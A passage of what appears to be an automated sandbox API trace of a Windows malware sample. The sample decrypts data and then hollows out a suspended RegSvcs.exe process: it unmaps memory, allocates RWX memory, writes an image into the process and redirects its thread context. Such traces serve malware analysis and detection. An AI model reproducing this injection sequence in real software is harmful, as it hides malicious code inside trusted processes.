lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.906] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.906] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.912] CharLowerBuffW (in: lpsz="byte[172528]", cchLength=0xc | out: lpsz="byte[172528]") returned 0xc [0078.912] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.917] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.918] CharUpperBuffW (in: lpsz="_S0XF3480212E0F51234A3E6D08DDB50D175", cchLength=0x24 | out: lpsz="_S0XF3480212E0F51234A3E6D08DDB50D175") returned 0x24 [0078.918] PeekMessageW (in: lpMsg=0x5eeb84, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5eeb84) returned 0 [0078.922] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.922] CryptDecrypt (in: hKey=0x6b8eb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d2008, pdwDataLen=0x5eeca0 | out: pbData=0x7d2008, pdwDataLen=0x5eeca0) returned 1 [0078.997] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.997] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.997] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.998] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.998] CharLowerBuffW (in: lpsz="byte[171520]", cchLength=0xc | out: lpsz="byte[171520]") returned 0xc [0078.998] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.998] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.998] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0078.998] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0079.008] PeekMessageW (in: lpMsg=0x5ef744, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef744) returned 0 [0079.009] CharUpperBuffW (in: lpsz="_S0XA011B5402E3FD470217B241163CA15BB", cchLength=0x24 | out: lpsz="_S0XA011B5402E3FD470217B241163CA15BB") returned 0x24 [0079.009] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0079.009] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0079.009] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0079.009] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0079.016] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0079.016] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0079.017] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0079.148] PeekMessageW (in: lpMsg=0x5ef1fc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef1fc) returned 0 [0079.148] PeekMessageW (in: lpMsg=0x5ef744, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef744) returned 0 [0079.148] CharUpperBuffW (in: lpsz="_S0X5498F30D3302580A94D5B06B04E62B42", cchLength=0x24 | out: lpsz="_S0X5498F30D3302580A94D5B06B04E62B42") returned 0x24 [0079.151] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.152] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.153] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.153] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.153] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.153] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.153] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.153] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.153] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.153] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.153] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.154] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.154] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.154] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.154] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.154] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.154] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.154] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.154] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.154] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.154] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.155] CharLowerBuffW (in: lpsz="byte[1288]", cchLength=0xa | out: lpsz="byte[1288]") returned 0xa [0079.155] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.156] CharLowerBuffW (in: lpsz="byte[171520]", cchLength=0xc | out: lpsz="byte[171520]") returned 0xc [0079.157] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.157] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.159] PeekMessageW (in: lpMsg=0x5ef4cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x5ef4cc) returned 0 [0079.159] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0079.159] CallWindowProcW (lpPrevWndFunc=0x798700, hWnd=0x7fbe10, Msg=0x79b5b0, wParam=0x0, lParam=0x0) returned 0x798700 [0079.159] LoadLibraryW (lpLibFileName="kernel32") returned 0x76540000 [0079.159] VirtualAlloc (lpAddress=0x0, dwSize=0x3c, flAllocationType=0x1000, flProtect=0x40) returned 0x1c0000 [0079.159] LoadLibraryW (lpLibFileName="kernel32") returned 0x76540000 [0079.159] VirtualAlloc (lpAddress=0x0, dwSize=0xf4, flAllocationType=0x1000, flProtect=0x40) returned 0x1f0000 [0079.159] LoadLibraryW (lpLibFileName="kernel32") returned 0x76540000 [0079.160] VirtualAlloc (lpAddress=0x0, dwSize=0x24, flAllocationType=0x1000, flProtect=0x40) returned 0x200000 [0079.160] LoadLibraryW (lpLibFileName="kernel32") returned 0x76540000 [0079.160] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x1000, flProtect=0x40) returned 0xb30000 [0079.160] LoadLibraryW (lpLibFileName="kernel32") returned 0x76540000 [0079.160] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x1000, flProtect=0x40) returned 0xb40000 [0079.160] LoadLibraryW (lpLibFileName="kernel32") returned 0x76540000 [0079.160] VirtualAlloc (lpAddress=0x0, dwSize=0xc8, flAllocationType=0x1000, flProtect=0x40) returned 0xb50000 [0079.160] LoadLibraryW (lpLibFileName="ntdll") returned 0x777c0000 [0079.160] RtlMoveMemory (in: Destination=0x1c0000, Source=0x79b5b0, Length=0x40 | out: Destination=0x1c0000) [0079.160] LoadLibraryW (lpLibFileName="ntdll") returned 0x777c0000 [0079.161] RtlMoveMemory (in: Destination=0x1f0000, Source=0x79b678, Length=0xf8 | out: Destination=0x1f0000) [0079.161] LoadLibraryW (lpLibFileName="kernel32") returned 0x76540000 [0079.161] CreateProcessW (in: lpApplicationName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xb30000*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xb40000 | out: lpCommandLine=0x0, lpProcessInformation=0xb40000*(hProcess=0x114, hThread=0x10c, dwProcessId=0xbd8, dwThreadId=0xbdc)) returned 1 [0079.331] LoadLibraryW (lpLibFileName="ntdll") returned 0x777c0000 [0079.332] NtUnmapViewOfSection (ProcessHandle=0x114, BaseAddress=0x400000) returned 0xc0000019 [0079.332] LoadLibraryW (lpLibFileName="kernel32") returned 0x76540000 [0079.332] VirtualAllocEx (hProcess=0x114, lpAddress=0x400000, dwSize=0x2a000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0079.336] LoadLibraryW (lpLibFileName="kernel32") returned 0x76540000 [0079.336] WriteProcessMemory (in: hProcess=0x114, lpBaseAddress=0x400000, lpBuffer=0x79b5b0*, nSize=0x200, lpNumberOfBytesWritten=0x79873c | out: lpBuffer=0x79b5b0*, lpNumberOfBytesWritten=0x79873c*=0x200) returned 1 [0079.336] LoadLibraryW (lpLibFileName="ntdll") returned 0x777c0000 [0079.336] RtlMoveMemory (in: Destination=0x798740, Source=0x1f0006, Length=0x2 | out: Destination=0x798740) [0079.336] LoadLibraryW (lpLibFileName="ntdll") returned 0x777c0000 [0079.336] RtlMoveMemory (in: Destination=0x200000, Source=0x79b770, Length=0x28 | out: Destination=0x200000) [0079.336] LoadLibraryW (lpLibFileName="kernel32") returned 0x76540000 [0079.337] WriteProcessMemory (in: hProcess=0x114, lpBaseAddress=0x401000, lpBuffer=0x79c5b0*, nSize=0x28c00, lpNumberOfBytesWritten=0x79874c | out: lpBuffer=0x79c5b0*, lpNumberOfBytesWritten=0x79874c*=0x28c00) returned 1 [0079.338] LoadLibraryW (lpLibFileName="kernel32") returned 0x76540000 [0079.339] GetThreadContext (in: hThread=0x10c, lpContext=0xb50000 | out: lpContext=0xb50000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x19823e, Ebp=0x0, Eip=0x777d01c4, SegCs=0x23, EFlags=0x202, Esp=0x37f820, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0079.339] LoadLibraryW (lpLibFileName="kernel32") returned 0x76540000 [0079.339] WriteProcessMemory (in: hProcess=0x114, lpBaseAddress=0x7efde008, lpBuffer=0x1f0034*, nSize=0x4, lpNumberOfBytesWritten=0x79874c | out: lpBuffer=0x1f0034*, lpNumberOfBytesWritten=0x79874c*=0x4) returned 1 [0079.340] LoadLibraryW (lpLibFileName="kernel32") returned 0x76540000 [0079.340] SetThreadContext (hThread=0x10c, lpContext=0xb50000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x41b690, Ebp=0x0, Eip=0x777d01c4, SegCs=0x23, EFlags=0x202, Esp=0x37f820, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, 